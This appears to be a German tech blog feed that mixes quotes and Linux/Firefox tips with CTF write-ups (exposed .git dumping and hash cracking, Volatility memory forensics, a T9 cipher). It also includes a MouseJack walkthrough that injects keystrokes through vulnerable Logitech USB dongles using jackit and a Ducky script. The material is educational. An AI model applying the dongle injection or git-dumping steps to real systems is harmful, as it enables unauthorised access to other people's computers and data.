Zitate Nr. 455 – Auch das schlechteste Buch hat seine gute Seite: die …
Auch das schlechteste Buch hat seine gute Seite: die letzte!
von John Osborne
Auch das schlechteste Buch hat seine gute Seite: die letzte!
von John Osborne
Um bei Ubuntu die Netzwerkschnittstellen auf “eth0” oder “wlan0” umzubenennen, müssen folgende Schritte durchgeführt werden:
sudo nano /etc/default/grub
Den Eintrag
GRUB_CMDLINE_LINUX=""
auf den Wert
GRUB_CMDLINE_LINUX="net.ifnames=0 biosdevname=0"
ändern und daraufhin den Befehl
grub-mkconfig -o /boot/grub/grub.cfg
ausführen, um die Änderungen im Bootloader zu übernehmen. Nach einem Neustart werden die geänderten Namen der Netzwerkschnittstellen dargestellt.
Die Dinge haben nur den Wert, den man ihnen verleiht.
von Molière
Wenn unter Ubuntu 18.04 Automount aktiv ist, dann wird beim Einbinden eines Datenträgers automatisch ein Dateifenster geöffnet. Mit der folgenden Einstellung kann das Verhalten abgeschaltet werden. Dafür in einem Terminal den Befehl eingeben:
gsettings set org.gnome.desktop.media-handling automount-open false
Die dafür notwendige Software “gsettings” kann mit dem Befehl
sudo apt-get install gsettings-desktop-schemas
installiert werden.
Reich sein heißt nicht Geld haben, sondern Geld ausgeben.
von Sacha Guitry
Auf der Seite ctf.0x00sec.org werden CTF Spiele veröffentlicht. Für die erste Aufgabe hier ein writeup.
Challenge
Analyse
Da auf der Seite keine hilfreichen Informationen zu finden sind, wird der Quelltext der Seite untersucht.
Der Kommentar gibt einen Hinweis, an welcher Stelle gesucht werden soll.
</body> <!-- TODO: --> <!-- * Remove the git directory after publishing --> </html>
Bei einem GIT Repository wird per default ein Ordner mit dem Namen “.git” angelegt. Weiterhin wird automatisch eine Struktur erstellt. Ein Versuch “https://exercise-1.0x00sec.dev/.git/” aufzurufen, ergab folgendes:
Die Anzeige der Fehlermeldung ist gut. Warum? Dadurch ist ersichtlich, dass der Ordner “.git” vorhanden ist.
Als nächstes kann jede einzelne Möglichkeit von weiteren Dateien oder Ordnern probiert werden, welche in der Dokumentation von GIT zu finden ist. Manuell macht das aber keinen Spaß. Das Tool “gitdumper” ist für diese Aufgabe perfekt geeignet.
Durchführung
Herunterladen des Tools “gitdumper” und starten.
./gitdumper.sh https://exercise-1.0x00sec.dev/.git/ DEST_FOLDER
Parameter | Beschreibung |
---|---|
DEST_FOLDER | Der Ordnername gibt an, wo die heruntergeladenen Dateien lokal gespeichert werden sollen. |
Die Ausgabe von “gitdumper” stellt sich wie folgt dar:
Mit dem Befehl “tree” kann danach eine übersichtliche Darstellung der heruntergeladenen Daten erzeugt werden.
Die einzelnen Commits werden bei GIT gepackt (ZIP), um Speicherplatz zu sparen. Die relevanten Informationen befinden sich im Ordner “objects”. Für das Entpacken habe ich ein kleines Script geschrieben:
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import os import zlib # A compression / decompression library ROOT_DIR = "/EDIT_ME_PATH_TO_FOLDER/.git/objects/" def readFile(path_to_file): compressed_content = open(path_to_file, 'rb').read() decompressed_content = zlib.decompress(compressed_content) print("--- BOF --- ") print(decompressed_content) print("--- EOF --- ") def main(): for root, subdirs, files in os.walk(ROOT_DIR): for file in files: tmp_file = os.path.join(root, file) print(tmp_file) readFile(tmp_file) if __name__ == "__main__": main()
Das Script gibt die gepackten Daten aus. Zuvor muss die Variable “ROOT_DIR” auf den Ort der heruntergeladenen Daten entsprechend angepasst werden. Daraufhin das Script ausführen:
./zip_to_text.py
Da die Ausgabe etwas unübersichtlich ist, den Befehl erweitern:
./zip_to_text.py | grep Pass
Das sieht doch sehr gut aus. Hier findet ein Vergleich zwischen Username und Passwort statt, wobei das Passwort als SHA256 HASH abgelegt ist.
Den HASH-Wert gilt es zu cracken. Dafür kann eine beliebige Plattform verwendet werden.
Nach einigen Sekunden wurde der Originalwert des HASH (Result) angezeigt. Jetzt sind die Informationen für den Usernamen “admin” und für das Passwort “l33tsupah4x0r” bekannt und der Login kann durchgeführt werden.
Nach der Anmeldung wird das Flag “flag{g1t-dump1ng-i5-c00l}” angezeigt und die Aufgabe ist abgeschlossen.
Wir verlieren gegen die Zeit, nicht gegen den Wettbewerb.
von Unbekannt
Mit der Version 75 von Firefox ändert sich die Adressbar dahingehend, dass sobald diese angeklickt wird, ein Zoom erfolgt. Mit den folgenden Einstellungen kann das Feature deaktiviert werden. In die Adresszeile
about:config
eingeben und mit der Entertaste bestätigen. Daraufhin den Sicherheitshinweis ebenfalls bestätigen.
Als nächstes im Suchfeld nach den Einstellungen
browser.urlbar.openViewOnFocus browser.urlbar.update1 browser.urlbar.update1.interventions browser.urlbar.update1.searchTips
suchen.
Jetzt alle Werte auf “false” setzen und das Feature ist deaktiviert.
Gute Menschen brauchen keine Gesetze, um gezeigt zu bekommen, was sie nicht dürfen, während böse Menschen einen Weg finden werden, die Gesetze zu umgehn.
von Platon
In bestimmten Versionen von Logitech Dongles gibt es eine Schwachstelle, welche es ermöglicht, Befehle an den angeschlossenen PC zu senden.
Hardware und Software
Für die Umsetzung wurde folgende Hardware verwendet:
Firmware Version auslesen
Mit den Befehl “fwupdmgr” kann die Versionsnummer des Logitech USB-Dongles ausgelesen werden.
fwupdmgr get-devices
In der darauf angezeigten Ausgabe kann die Firmware Version des Dongles ermittelt werden. Eine Liste, welche Geräte bzw. welche Firmware betroffen sind, gibt es hier: www.bastille.net
Firmware auf dem Crazyradio flashen
Als Voraussetzung für die Durchführung des Angriffs muss die Firmware auf den Crazyradio, nicht auf dem Logitech Dongle, geflasht werden. Um die Firmware zu erstellen, werden einige Bibliotheken benötigt.
apt-get install sdcc binutils python python-pip git pip install pyusb pip install --upgrade pip pip install --upgrade -I pyusb pip install --upgrade platformio
Danach die Software “Mousejack” herunterladen.
git clone https://github.com/BastilleResearch/mousejack git submodule init git submodule update
Als letzter Schritt wird die Firmware erstellt und auf dem Crazyradio übertragen.
/nrf-research-firmware$ make make install
Um zu verifizieren, ob die Firmware erfolgreich auf das Crazyradio geflasht wurde, diesen aus dem USB-Port ziehen und danach wieder anstecken. Als nächstes den Befehl “dmesg” ausführen und nach dem Text “RFStorm” suchen.
dmesg
Wird dieser angezeigt, ist der Schritt erfolgreich abgeschlossen.
Jackit installieren
Jackit wird für den eigentlichen Angriff benötigt. Mit der Software wird mit dem Crazyradio kommuniziert.
git clone https://github.com/insecurityofthings/jackit.git cd jackit/ pip install -r requirements.txt ./setup.py build ./setup.py install
Attack
Zur Vorbereitung für den Angriff wird ein “Ducky” Script erstellt. Die hier enthaltenen Befehle werden auf dem Ziel-PC ausgeführt. Dafür die nachfolgende Auflistung in einer Textdatei “script.txt” speichern.
GUI r DELAY 200 STRING calc.exe ENTER
Mit dem Befehl “jackit” (als Root starten) kann jetzt nach potenziell verwundbaren Geräten gesucht werden.
Sobald ein Dongle gefunden wurde, die jeweilige Adresse “C7:D4:21:98:07” kopieren und das Programm mit “STRG + C” beenden. Jetzt “jackit” erneut mit einigen Parametern starten.
jackit --address C7:D4:21:98:07 --vendor logitech --script /path/to/ducky/script.txt
Nachdem der Dongle wieder erkannt wurde, mit “STRG + C” abbrechen, um in ein Untermenü von “jackit” zu gelangen. Jetzt mit der jeweiligen Nummer das Ziel (Spalte KEY) auswählen. Wenn alles funktioniert hat, dann hat sich auf dem Ziel-PC ein Taschenrechner geöffnet.
Links
Laufe nicht der Vergangenheit nach und verliere dich nicht in der Zukunft. Die Vergangenheit ist nicht mehr. Die Zukunft ist noch nicht gekommen. Das Leben ist hier und jetzt.
Challenge
He stole the virtual machine file containing the top secret of the enemy country.
However, due to the shortage of USB memory, I dumped only the memory that seemed to be the most important.
What is the secret of an enemy country? (Fake Flag file exists.)
Download: NewbieCTF2019_Top_Secret.zip (1,2GB)
Analyse
1. Download Volatility Tool
$git clone https://github.com/volatilityfoundation/volatility
2. Installation
$cd volatility $chmox +x setup.py $./setup.py
Danach steht das Tool systemweit (/usr/bin/volatility) zur Verfügung.
Durchführung
Mit dem Befehl und zwei Parametern können grundsätzliche Informationen angezeigt werden.
volatility -f w7.vmem imageinfo
Parameter | Beschreibung |
---|---|
-f | Nach dem Parameter ist der Dateiname anzugeben (filename). |
imageinfo | Zeigt die Zusammenfassung des zu analysierenden Speicherabbildes an. |
Mit den Informationen wird ersichtlich, dass es sich um ein Windows 7 Speicherabbild handelt. Als nächstes wird untersucht, welche Prozesse zum Zeitpunkt der Erstellung des Speicherabbildes gelaufen sind.
volatility -f w7.vmem --profile=Win7SP0x86 pslist
Parameter | Beschreibung |
---|---|
–profile | Gibt an, um welchen Typ von Speicherabbild es sich handelt. Der Wert kann der vorherigen Ausgabe (Suggested Profile(s)) entnommen werden. |
pslist | Zeigt eine Liste aller Prozesse an. |
Jedem der Prozesse ist Speicher zugewiesen, welcher sich in diesem Abbild befindet. Jedoch ist die Frage, welcher Prozess beinhaltet das gesuchte Lösungswort (Flag)? Interessante Prozesse sind:
Jetzt gilt es, einem nach dem anderen zu analysieren…
Mit dem folgendem Befehl kann ein Speicherauszug (Teilmenge) aus dem Abbild erstellt werden, der genau einem Prozess entspricht:
volatility -f w7.vmem --profile=Win7SP0x86 memdump -p 3224 --dump-dir=tmp
Der Prozess “notpad.exe” besitzt die Nummer (PID) “3224”. In dem zuvor angelegten Ordner “tmp” wird eine Datei geschrieben, welche nur den Speicherinhalt des Prozesses “notpad.exe” beinhaltet.
Parameter | Beschreibung |
---|---|
memdump | Extrahieren des Speichers eines Prozesses in eine einzelne Datei. |
-p | Gibt die Prozessnummer an. |
–dump-dir | Angabe, in welchem Ordner der Speicherauszug abgelegt werden soll. |
Die erstellte Datei “3224.dmp” befindet sich im Ordner “tmp”. Abschließend kommt das Tool “strings” zum Einsatz.
strings 3224.dmp | grep "KorNewbie"
Es werden alle Textinhalte der Datei “3224.dmp” ausgegeben und an den Befehl “grep” übergeben. Der Befehl “grep” sucht nach dem Text “KorNewbie”.
Bingo! Das wars! :)
Alternative
Der gesamte Prozess kann abgekürzt werden, indem mit “strings” direkt über das gesamte Speicherabbild gesucht wird. Funktioniert in dem Fall aber nur, weil das Flag in Textform vorliegt.
strings w7.vmem | grep -oE "KorNewbie{.*}
Es ist nicht zu wenig Zeit, die wir haben, sondern es ist zu viel Zeit, die wir nicht nutzen.
Auf der Seite “canyouhack.it” (leider down) in der Rubrik “Cryptography” gab es eine spannende Challenge.
Challenge
Not K9 But ?
8430727796730470662453
Analyse
Die Frage “Not K9 But ?” erinnert irgendwie sehr stark an T9.
Die Zahlen von 0 bis 9 sprechen ebenfalls dafür.
Information gathering
Durchführung
Erstellung eines Mappings der Ziffern zu den jeweiligen Buchstabenkombinationen.
Zahl | T9 Letters |
---|---|
843 | TUV | GHI | DEF |
72779673 | PQRS | ABC | PQRS | PQRS | WXYZ | MNO | PQRS | DEF |
47 | GHI | PQRS |
662453 | MNO | ABC | GHI | JKL | DEF |
Als nächstes heißt es, probieren… Bei 843 ist das Wort recht schnell zu finden “THE”.
Zahl | T9 Letters |
---|---|
843 | TUV | GHI | DEF |
72779673 | PQRS | ABC | PQRS | PQRS | WXYZ | MNO | PQRS | DEF |
47 | GHI | PQRS |
662453 | MNO | MNO | ABC | GHI | JKL | DEF |
Nach einigem Probieren ist das Lösungswort “mobile” gefunden.
Anmerkung
Falls das Probieren etwas zu “mühevoll” ist, kann der Vorgang auch durch ein Programm gelöst werden. Es werden alle Buchstabenkombinationen je Wort erstellt und gegen ein Wörterbuch abgeglichen. Daraufhin werden nur die Wörter angezeigt, die im Wörterbuch vorhanden sind. Falls es mehrere Möglichkeiten geben sollte, kann man wählen.
Genau so ein Programm wurde auch schon implementiert: t9-emulator.
Was uns fehlt, lockt uns an.
von Victor Hugo